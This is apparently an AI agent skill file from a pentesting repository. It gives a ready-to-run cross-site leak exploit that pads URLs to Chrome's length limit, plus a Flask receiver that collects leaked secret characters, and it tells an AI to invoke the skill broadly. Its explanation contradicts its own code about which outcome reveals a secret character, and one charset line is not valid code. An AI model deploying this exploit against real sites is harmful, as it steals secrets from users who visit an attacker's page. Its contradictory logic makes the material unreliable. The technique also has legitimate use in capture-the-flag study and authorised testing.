Hacktricks-skills url-length-exploit
Exploit browser URL length limits (Chrome's 2MB limit) to leak secrets character-by-character. Use this skill whenever you need to extract hidden data from URLs, CTF challenges involving URL-based secrets, or when you suspect a target is vulnerable to URL length overflow attacks. This is especially useful for CTF writeups, pentesting web applications, or when you encounter challenges with URL-based secret leakage. Make sure to use this skill when you see URL-based secret challenges, CTF writeups mentioning URL limits, or any scenario where you need to extract data through URL manipulation.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/xs-search/url-max-length-client-side/SKILL.MDURL Length Exploit - Client Side
This skill helps you exploit browser URL length limits to leak secrets character-by-character. Chrome has a 2MB URL limit, and when a URL exceeds this limit, the browser fails to load it. We can use this to determine which characters are part of a secret.
How It Works
-
The Vulnerability: Browsers have maximum URL length limits (Chrome: ~2MB). When a URL exceeds this limit, the browser cannot load it.
-
The Exploit: We construct URLs that are just under the limit, then try adding each possible character. If the URL loads successfully, that character is NOT part of the secret. If it fails, that character IS part of the secret.
-
Detection: We use
and check ifwindow.open()
throws an error. If it does, the URL was too long and the character is part of the secret.w.origin
Exploit Template
Client-Side Exploit (exploit.html)
<html> <body></body> <script> ;(async () => { // Base URL with the secret prefix const curr = "http://target.com/search?query=SECRET_PREFIX{"; // Function to test each character const leak = async (char) => { // Send request to track which character we're testing fetch("/api/try=" + char); // Open URL with character + padding to reach 2MB limit let w = window.open( curr + char + "#" + "A".repeat(2 * 1024 * 1024 - curr.length - 2) ); // Check if URL loaded successfully const check = async () => { try { w.origin; // Throws if URL is too long } catch { // URL too long - this character is part of the secret! fetch("/api/nope=" + char); return; } setTimeout(check, 100); }; check(); } // Character set to test (adjust based on the challenge) const CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"; // Test each character for (let i = 0; i < CHARSET.length; i++) { leak(CHARSET[i]); await new Promise((resolve) => setTimeout(resolve, 50)); } })(); </script> </html>
Server-Side Receiver (for CTF/pentesting)
from flask import Flask, request app = Flask(__name__) CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789" chars = [] @app.route('/', methods=['GET']) def index(): global chars nope = request.args.get('nope', '') if nope: chars.append(nope) remaining = [c for c in CHARSET if c not in chars] print("Remaining: {}".format(remaining)) return "OK" @app.route('/exploit.html', methods=['GET']) def exploit(): return open('exploit.html', 'r').read() if __name__ == '__main__': app.run(host='0.0.0.0', port=1337)
Adaptation Guide
1. Adjust the Base URL
Change
curr to match your target:
const curr = "http://target.com/path?param=SECRET_PREFIX{";
2. Modify the Character Set
Adjust
CHARSET based on what characters the secret might contain:
// Common CTF flag format const CHARSET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}"; // URL-safe characters const CHARSET = "abcdefghijklmnopqrstuvwxyz-_.~0123456789"; // Full ASCII const CHARSET = "!".charCodeAt(0) to "~".charCodeAt(0) // programmatically generate
3. Handle Different URL Length Limits
Different browsers have different limits:
- Chrome: ~2MB (2 * 1024 * 1024 bytes)
- Firefox: ~64KB
- Safari: ~80KB
Adjust the padding calculation:
const URL_LIMIT = 2 * 1024 * 1024; // Chrome const padding = "A".repeat(URL_LIMIT - curr.length - 2);
4. Add Error Handling
For production use, add timeout handling:
const check = async () => { try { w.origin; } catch { fetch("/api/nope=" + char); return; } setTimeout(check, 100); }; // Add timeout setTimeout(() => { console.log("Timeout for character:", char); }, 5000);
Usage Scenarios
CTF Challenges
- Look for challenges with URL-based secrets
- Check for hints about URL length or browser limits
- Common in web exploitation categories
Pentesting
- Test web applications for URL length vulnerabilities
- Check if sensitive data is exposed via URL parameters
- Verify proper input validation on URL parameters
Research
- Understand browser security limitations
- Document URL-based attack vectors
- Create proof-of-concept exploits
Important Notes
-
Cross-Origin Restrictions: The exploit requires the target to be same-origin or have CORS enabled.
-
Browser Compatibility: Different browsers have different URL length limits. Test on the target browser.
-
Rate Limiting: Add delays between requests to avoid triggering rate limits.
-
Ethical Use: Only use this technique on systems you have permission to test.
Example Workflow
- Identify the target: Find a URL with a secret prefix (e.g.,
)?query=FLAG{ - Set up the server: Run the Flask receiver to track leaked characters
- Deploy the exploit: Host
on a server you controlexploit.html - Trigger the exploit: Get the target to load your exploit page
- Collect results: Monitor the server logs for leaked characters
- Reconstruct the secret: Combine the leaked characters in order
References
- Original CTF Writeup
- Chrome URL length limit: ~2MB
- Firefox URL length limit: ~64KB
- Safari URL length limit: ~80KB